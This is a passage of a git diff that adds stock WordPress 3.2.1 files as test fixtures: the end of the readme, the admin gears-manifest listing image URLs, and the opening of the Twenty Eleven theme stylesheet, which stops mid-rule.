WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php new file mode 100755 index 00000000..6811fb34 --- /dev/null +++ b/spec/fixtures/wp_versions/3.2.1/wp-admin/gears-manifest.php @@ -0,0 +1,72 @@ +{ +"betaManifestVersion" : 1, +"version" : "4c4cab4ac02dd9b2bf8f0011808232cc", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.2.1/wp-content/themes/twentyeleven/style.css b/spec/fixtures/wp_versions/3.2.1/wp-content/themes/twentyeleven/style.css new file mode 100755 index 00000000..68254b5b --- /dev/null +++ b/spec/fixtures/wp_versions/3.2.1/wp-content/themes/twentyeleven/style.css @@ -0,0 +1,2670 @@ +/* +Theme Name: Twenty Eleven +Theme URI: http://wordpress.org/extend/themes/twentyeleven +Author: the WordPress team +Author URI: http://wordpress.org/ +Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. +Version: 1.2 +License: GNU General Public License +License URI: license.txt +Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready +*/ + +/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + border: 0; + font-family: inherit; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline; +} +:focus {/* remember to define focus styles! */ + outline: 0; +} +body { + background: #fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +table {/* tables still need 'cellspacing="0"' in the markup */ + border-collapse: separate; + border-spacing: 0; +} +caption, th, td { + font-weight: normal; + text-align: left; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ""; +} +blockquote, q { + quotes: "" ""; +} +a img { + border: 0; +} +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} + + +/* =Structure +----------------------------------------------- */ + +body { + padding: 0 2em; +} +#page { + margin: 2em auto; + max-width: 1000px; +} +#branding hgroup { + margin: 0 7.6%; +} +#access div { + margin: 0 7.6%; +} +#primary { + float: left; + margin: 0 -26.4% 0 0; + width: 100%; +} +#content { + margin: 0 34% 0 7.6%; + width: 58.4%; +} +#secondary { + float: right; + margin-right: 7.6%; + width: 18.8%; +} + +/* Singular */ +.singular #primary { + margin: 0; +} +.singular #content, +.left-sidebar.singular #content { + margin: 0 7.6%; + position: relative; + width: auto; +} +.singular .entry-header, +.singular .entry-content, +.singular footer.entry-meta, +.singular #comments-title { + margin: 0 auto; + width: 68.9%; +} + +/* Attachments */ +.singular .image-attachment .entry-content { + margin: 0 auto; + width: auto; +} +.singular .image-attachment .entry-description { + margin: 0 auto; + width: 68.9%; +} + +/* Showcase */ +.page-template-showcase-php #primary, +.left-sidebar.page-template-showcase-php #primary { + margin: 0; +} +.page-template-showcase-php #content, +.left-sidebar.page-template-showcase-php #content { + margin: 0 7.6%; + width: auto; +} +.page-template-showcase-php section.recent-posts { + float: right; + margin: 0 0 0 31%; + width: 69%; +} +.page-template-showcase-php #main .widget-area { + float: left; + margin: 0 -22.15% 0 0; + width: 22.15%; +} + +/* error404 */ +.error404 #primary { + float: none; + margin: 0; +} +.error404 #primary #content { + margin: 0 7.6%; + width: auto; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; + margin-right: 1.625em; +} +.alignright { + display: inline; + float: right; + margin-left: 1.625em; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* Right Content */ +.left-sidebar #primary { + float: right; + margin: 0 0 0 -26.4%; + width: 100%; +} +.left-sidebar #content { + margin: 0 7.6% 0 34%; + width: 58.4%; +} +.left-sidebar #secondary { + float: left; + margin-left: 7.6%; + margin-right: 0; + width: 18.8%; +} + +/* One column */ +.one-column #page { + max-width: 690px; +} +.one-column #content { + margin: 0 7.6%; + width: auto; +} +.one-column #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; +} +.one-column #secondary { + float: none; + margin: 0 7.6%; + width: auto; +} +/* Simplify the showcase template */ +.one-column .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; +} +.one-column .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; +} +.one-column .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; +} +/* Simplify the showcase template when small feature */ +.one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + height: auto; + max-width: 60%; + position: static; +} +.one-column article.feature-image.small { + margin: 0 0 1.625em; + padding: 0; +} +.one-column article.feature-image.small .entry-title { + font-size: 20px; + line-height: 1.3em; +} +.one-column article.feature-image.small .entry-summary { + height: 150px; + overflow: hidden; + padding: 0; + text-overflow: ellipsis; +} +.one-column article.feature-image.small .entry-summary a { + left: -9%; +} +/* Remove the margin on singular articles */ +.one-column.singular .entry-header, +.one-column.singular .entry-content, +.one-column.singular footer.entry-meta, +.one-column.singular #comments-title { + width: 100%; +} +/* Simplify the pullquotes and pull styles */ +.one-column.singular blockquote.pull { + margin: 0 0 1.625em; +} +.one-column.singular .pull.alignleft { + margin: 0 1.625em 0 0; +} +.one-column.singular .pull.alignright { + margin: 0 0 0 1.625em; +} +.one-column.singular .entry-meta .edit-link a { + position: absolute; + left: 0; + top: 40px; +} +.one-column.singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; +} +/* Make sure we have room for our comment avatars */ +.one-column .commentlist > li.comment { + margin-left: 102px; + width: auto; +} +/* Make sure the logo and search form don't collide */ +.one-column #branding #searchform { + right: 40px; + top: 4em; +} +/* Talking avatars take up too much room at this size */ +.one-column .commentlist > li.comment { + margin-left: 0; +} +.one-column .commentlist > li.comment .comment-meta, +.one-column .commentlist > li.comment .comment-content { + margin-right: 85px; +} +.one-column .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + top: 1.625em; + left: auto; + right: 1.625em; +} +.one-column .commentlist .children .avatar { + background: none; + padding: 0; + position: absolute; + top: 2.2em; + left: 2.2em; +} +.one-column #respond { + width: auto; +} + + +/* =Global +----------------------------------------------- */ + +body, input, textarea { + color: #373737; + font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + line-height: 1.625; +} +body { + background: #e2e2e2; +} +#page { + background: #fff; +} + +/* Headings */ +h1,h2,h3,h4,h5,h6 { + clear: both; +} +hr { + background-color: #ccc; + border: 0; + height: 1px; + margin-bottom: 1.625em; +} + +/* Text elements */ +p { + margin-bottom: 1.625em; +} +ul, ol { + margin: 0 0 1.625em 2.5em; +} +ul { + list-style: square; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ol ol ol ol { + list-style: lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} +dl { + margin: 0 1.625em; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 1.625em; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + font-family: Georgia, "Bitstream Charter", serif; + font-style: italic; + font-weight: normal; + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style: normal; +} +blockquote cite { + color: #666; + font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + letter-spacing: 0.05em; + text-transform: uppercase; +} +pre { + background: #f4f4f4; + font: 13px "Courier 10 Pitch", Courier, monospace; + line-height: 1.5; + margin-bottom: 1.625em; + overflow: auto; + padding: 0.75em 1.625em; +} +code, kbd { + font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} +abbr, acronym, dfn { + border-bottom: 1px dotted #666; + cursor: help; +} +address { + display: block; + margin: 0 0 1.625em; +} +ins { + background: #fff9c0; + text-decoration: none; +} +sup, +sub { + font-size: 10px; + height: 0; + line-height: 1; + position: relative; + vertical-align: baseline; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Forms */ +input[type=text], +input[type=password], +textarea { + background: #fafafa; + -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + border: 1px solid #ddd; + color: #888; +} +input[type=text]:focus, +textarea:focus { + color: #373737; +} +textarea { + padding-left: 3px; + width: 98%; +} +input[type=text] { + padding: 3px; +} +input#s { + background: url(images/search.png) no-repeat 5px 6px; + -moz-border-radius: 2px; + border-radius: 2px; + font-size: 14px; + height: 22px; + line-height: 1.2em; + padding: 4px 10px 4px 28px; +} +input#searchsubmit { + display: none; +} + +/* Links */ +a { + color: #1982d1; + text-decoration: none; +} +a:focus, +a:active, +a:hover { + text-decoration: underline; +} + +/* Assistive text */ +.assistive-text { + position: absolute !important; + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); +} +#access a.assistive-text:active, +#access a.assistive-text:focus { + background: #eee; + border-bottom: 1px solid #ddd; + color: #1982d1; + clip: auto !important; + font-size: 12px; + position: absolute; + text-decoration: underline; + top: 0; + left: 7.6%; +} + + +/* =Header +----------------------------------------------- */ + +#branding { + border-top: 2px solid #bbb; + padding-bottom: 10px; + position: relative; + z-index: 2; +} +#site-title { + margin-right: 270px; + padding: 3.65625em 0 0; +} +#site-title a { + color: #111; + font-size: 30px; + font-weight: bold; + line-height: 36px; + text-decoration: none; +} +#site-title a:hover, +#site-title a:focus, +#site-title a:active { + color: #1982d1; +} +#site-description { + color: #7a7a7a; + font-size: 14px; + margin: 0 270px 3.65625em 0; +} +#branding img { + height: auto; + margin-bottom: -7px; + width: 100%; +} + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #222; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#252525, #0a0a0a); + background: -o-linear-gradient(#252525, #0a0a0a); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ + background: -webkit-linear-gradient(#252525, #0a0a0a); + -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + clear: both; + display: block; + float: left; + margin: 0 auto 6px; + width: 100%; +} +#access ul { + font-size: 13px; + list-style: none; + margin: 0 0 0 -0.8125em; + padding-left: 0; +} +#access li { + float: left; + position: relative; +} +#access a { + color: #eee; + display: block; + line-height: 3.333em; + padding: 0 1.2125em; + text-decoration: none; +} +#access ul ul { + -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + box-shadow: 0 3px 3px rgba(0,0,0,0.2); + display: none; + float: left; + margin: 0; + position: absolute; + top: 3.333em; + left: 0; + width: 188px; + z-index: 99999; +} +#access ul ul ul { + left: 100%; + top: 0; +} +#access ul ul a { + background: #f9f9f9; + border-bottom: 1px dotted #ddd; + color: #444; + font-size: 13px; + font-weight: normal; + height: auto; + line-height: 1.4em; + padding: 10px 10px; + width: 168px; +} +#access li:hover > a, +#access ul ul :hover > a, +#access a:focus { + background: #efefef; +} +#access li:hover > a, +#access a:focus { + background: #f9f9f9; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#f9f9f9, #e5e5e5); + background: -o-linear-gradient(#f9f9f9, #e5e5e5); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ + background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); + color: #373737; +} +#access ul li:hover > ul { + display: block; +} +#access .current_page_item > a, +#access .current_page_ancestor > a { + font-weight: bold; +} + +/* Search Form */ +#branding #searchform { + position: absolute; + top: 3.8em; + right: 7.6%; + text-align: right; +} +#branding #searchform div { + margin: 0; +} +#branding #s { + float: right; + -webkit-transition-duration: 400ms; + -webkit-transition-property: width, background; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 400ms; + -moz-transition-property: width, background; + -moz-transition-timing-function: ease; + -o-transition-duration: 400ms; + -o-transition-property: width, background; + -o-transition-timing-function: ease; + width: 72px; +} +#branding #s:focus { + background-color: #f9f9f9; + width: 196px; +} +#branding #searchsubmit { + display: none; +} +#branding .only-search #searchform { + top: 5px; + z-index: 1; +} +#branding .only-search #s { + background-color: #666; + border-color: #000; + color: #222; +} +#branding .only-search #s, +#branding .only-search #s:focus { + width: 85%; +} +#branding .only-search #s:focus { + background-color: #bbb; +} +#branding .with-image #searchform { + top: auto; + bottom: -27px; + max-width: 195px; +} +#branding .only-search + #access div { + padding-right: 205px; +} + + +/* =Content +----------------------------------------------- */ + +#main { + clear: both; + padding: 1.625em 0 0; +} +.page-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} +.page-title a { + font-size: 12px; + font-weight: bold; + letter-spacing: 0; + text-transform: none; +} +.hentry, +.no-results { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + padding: 0 0 1.625em; + position: relative; +} +.hentry:last-child, +.no-results { + border-bottom: none; +} +.blog .sticky .entry-header .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} +.entry-title, +.entry-header .entry-meta { + padding-right: 76px; +} +.entry-title { + clear: both; + color: #222; + font-size: 26px; + font-weight: bold; + line-height: 1.5em; + padding-bottom: .3em; + padding-top: 15px; +} +.entry-title, +.entry-title a { + color: #222; + text-decoration: none; +} +.entry-title a:hover, +.entry-title a:focus, +.entry-title a:active { + color: #1982d1; +} +.entry-meta { + color: #666; + clear: both; + font-size: 12px; + line-height: 18px; +} +.entry-meta a { + font-weight: bold; +} +.single-author .entry-meta .by-author { + display: none; +} +.entry-content, +.entry-summary { + padding: 1.625em 0 0; +} +.entry-content h1, +.entry-content h2, +.comment-content h1, +.comment-content h2 { + color: #000; + font-weight: bold; + margin: 0 0 .8125em; +} +.entry-content h3, +.comment-content h3 { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content table, +.comment-content table { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + width: 100%; +} +.entry-content th, +.comment-content th { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content td, +.comment-content td { + border-top: 1px solid #ddd; + padding: 6px 10px 6px 0; +} +.entry-content #s { + width: 75%; +} +.comment-content ul, +.comment-content ol { + margin-bottom: 1.625em; +} +.comment-content ul ul, +.comment-content ol ol, +.comment-content ul ol, +.comment-content ol ul { + margin-bottom: 0; +} +dl.gallery-item { + margin: 0; +} +.page-link { + clear: both; + display: block; + margin: 0 0 1.625em; +} +.page-link a { + background: #eee; + color: #373737; + margin: 0; + padding: 2px 3px; + text-decoration: none; +} +.page-link a:hover { + background: #888; + color: #fff; + font-weight: bold; +} +.page-link span { + margin-right: 6px; +} +.entry-meta .edit-link a, +.commentlist .edit-link a { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + float: right; + font-size: 12px; + line-height: 1.5em; + font-weight: 300; + text-decoration: none; + padding: 0 8px; +} +.entry-meta .edit-link a:hover, +.commentlist .edit-link a:hover { + background: #888; + color: #fff; +} +.entry-content .edit-link { + clear: both; + display: block; +} + +/* Images */ +.entry-content img, +.comment-content img, +.widget img { + max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ +} +img[class*="align"], +img[class*="wp-image-"] { + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +img.size-full { + max-width: 97.5%; + width: auto; /* Prevent stretching of full-size images with height and width attributes in IE8 */ +} +.entry-content img.wp-smiley { + border: none; + margin-bottom: 0; + margin-top: 0; + padding: 0; +} +img.alignleft, +img.alignright, +img.aligncenter { + margin-bottom: 1.625em; +} +p img, +.wp-caption { + margin-top: 0.4em; +} +.wp-caption { + background: #eee; + margin-bottom: 1.625em; + max-width: 96%; + padding: 9px; +} +.wp-caption img { + display: block; + margin: 0 auto; + max-width: 98%; +} +.wp-caption .wp-caption-text, +.gallery-caption { + color: #666; + font-family: Georgia, serif; + font-size: 12px; +} +.wp-caption .wp-caption-text { + margin-bottom: 0.6em; + padding: 10px 0 5px 40px; + position: relative; +} +.wp-caption .wp-caption-text:before { + color: #666; + content: '\2014'; + font-size: 14px; + font-style: normal; + font-weight: bold; + margin-right: 5px; + position: absolute; + left: 10px; + top: 7px; +} +#content .gallery { + margin: 0 auto 1.625em; +} +#content .gallery a img { + border: none; +} +img#wpstats { + display: block; + margin: 0 auto 1.625em; +} +#content .gallery-columns-4 .gallery-item { + width: 23%; + padding-right: 2%; +} +#content .gallery-columns-4 .gallery-item img { + width: 100%; + height: auto; +} + +/* Image borders */ +img[class*="align"], +img[class*="wp-image-"], +#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ + border: 1px solid #ddd; + padding: 6px; +} +.wp-caption img { + border-color: #eee; +} +a:focus img[class*="align"], +a:hover img[class*="align"], +a:active img[class*="align"], +a:focus img[class*="wp-image-"], +a:hover img[class*="wp-image-"], +a:active img[class*="wp-image-"], +#content .gallery .gallery-icon a:focus img, +#content .gallery .gallery-icon a:hover img, +#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ + background: #eee; + border-color: #bbb; +} +.wp-caption a:focus img, +.wp-caption a:active img, +.wp-caption a:hover img {/* ... including captioned images! */ + background: #fff; + border-color: #ddd; +} + +/* Password Protected Posts */ +.post-password-required .entry-header .comments-link { + margin: 1.625em 0 0; +} +.post-password-required input[type=password] { + margin: 0.8125em 0; +} +.post-password-required input[type=password]:focus { + background: #f7f7f7; +} + +/* Author Info */ +#author-info { + font-size: 12px; + overflow: hidden; +} +.singular #author-info { + background: #f9f9f9; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 2.2em -35.6% 0 -35.4%; + padding: 20px 35.4%; +} +.archive #author-info { + border-bottom: 1px solid #ddd; + margin: 0 0 2.2em; + padding: 0 0 2.2em; +} +#author-avatar { + float: left; + margin-right: -78px; +} +#author-avatar img { + background: #fff; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #bbb; + -moz-box-shadow: 0 1px 2px #bbb; + box-shadow: 0 1px 2px #bbb; + padding: 3px; +} +#author-description { + float: left; + margin-left: 108px; +} +#author-description h2 { + color: #000; + font-size: 15px; + font-weight: bold; + margin: 5px 0 10px; +} + +/* Comments link */ +.entry-header .comments-link a { + background: #eee url(images/comment-bubble.png) no-repeat; + color: #666; + font-size: 13px; + font-weight: normal; + line-height: 35px; + overflow: hidden; + padding: 0 0 0; + position: absolute; + top: 1.5em; + right: 0; + text-align: center; + text-decoration: none; + width: 43px; + height: 36px; +} +.entry-header .comments-link a:hover, +.entry-header .comments-link a:focus, +.entry-header .comments-link a:active { + background-color: #1982d1; + color: #fff; + color: rgba(255,255,255,0.8); +} +.entry-header .comments-link .leave-reply { + visibility: hidden; +} + +/* +Post Formats Headings +To hide the headings, display: none the ".entry-header .entry-format" selector, +and remove the padding rules below. +*/ +.entry-header .entry-format { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + position: absolute; + text-transform: uppercase; + top: -5px; +} +.entry-header hgroup .entry-title { + padding-top: 15px; +} +article.format-aside .entry-content, +article.format-link .entry-content, +article.format-status .entry-content { + padding: 20px 0 0; +} +.recent-posts .entry-header .entry-format { + display: none; +} +.recent-posts .entry-header hgroup .entry-title { + padding-top: 0; +} + +/* Singular content styles for Posts and Pages */ +.singular .hentry { + border-bottom: none; + padding: 4.875em 0 0; + position: relative; +} +.singular.page .hentry { + padding: 3.5em 0 0; +} +.singular .entry-title { + color: #000; + font-size: 36px; + font-weight: bold; + line-height: 48px; +} +.singular .entry-title, +.singular .entry-header .entry-meta { + padding-right: 0; +} +.singular .entry-header .entry-meta { + position: absolute; + top: 0; + left: 0; +} +blockquote.pull { + font-size: 21px; + font-weight: bold; + line-height: 1.6125em; + margin: 0 0 1.625em; + text-align: center; +} +.singular blockquote.pull { + margin: 0 -22.25% 1.625em; +} +.pull.alignleft { + margin: 0 1.625em 0 0; + text-align: right; + width: 33%; +} +.singular .pull.alignleft { + margin: 0 1.625em 0 -22.25%; +} +.pull.alignright { + margin: 0 0 0 1.625em; + text-align: left; + width: 33%; +} +.singular .pull.alignright { + margin: 0 -22.25% 0 1.625em; +} +.singular blockquote.pull.alignleft, +.singular blockquote.pull.alignright { + width: 33%; +} +.singular .entry-meta .edit-link a { + bottom: auto; + left: 50px; + position: absolute; + right: auto; + top: 80px; +} + + +/* =Aside +----------------------------------------------- */ + +.format-aside .entry-title, +.format-aside .entry-header .comments-link { + display: none; +} +.singular .format-aside .entry-title { + display: block; +} +.format-aside .entry-content { + padding: 0; +} +.singular .format-aside .entry-content { + padding: 1.625em 0 0; +} + + +/* =Link +----------------------------------------------- */ + +.format-link .entry-title, +.format-link .entry-header .comments-link { + display: none; +} +.singular .format-link .entry-title { + display: block; +} +.format-link .entry-content { + padding: 0; +} +.singular .format-link .entry-content { + padding: 1.625em 0 0; +} + + +/* =Gallery +----------------------------------------------- */ + +.format-gallery .gallery-thumb { + float: left; + display: block; + margin: .375em 1.625em 0 0; +} + + +/* =Status +----------------------------------------------- */ + +.format-status .entry-title, +.format-status .entry-header .comments-link { + display: none; +} +.singular .format-status .entry-title { + display: block; +} +.format-status .entry-content { + padding: 0; +} +.singular .format-status .entry-content { + padding: 1.625em 0 0; +} +.format-status img.avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + float: left; + margin: 4px 10px 2px 0; + padding: 0; +} + + +/* =Quote +----------------------------------------------- */ + +.format-quote blockquote { + color: #555; + font-size: 17px; + margin: 0; +} + + +/* =Image +----------------------------------------------- */ + +.indexed.format-image .entry-header { + min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ +} +.indexed.format-image .entry-content { + padding-top: 0.5em; +} +.indexed.format-image p, +.indexed.format-image p img { + margin-bottom: 0; +} +.indexed.format-image footer.entry-meta { + background: #ddd; + margin-top: -7px; + padding: 20px 30px; + overflow: hidden; +} +.indexed.format-image div.entry-meta { + display: inline-block; + float: left; + width: 35%; +} +.indexed.format-image div.entry-meta + div.entry-meta { + float: none; + width: 65%; +} +.indexed.format-image .entry-meta span.cat-links, +.indexed.format-image .entry-meta span.tag-links, +.indexed.format-image .entry-meta span.comments-link { + display: block; +} +.indexed.format-image 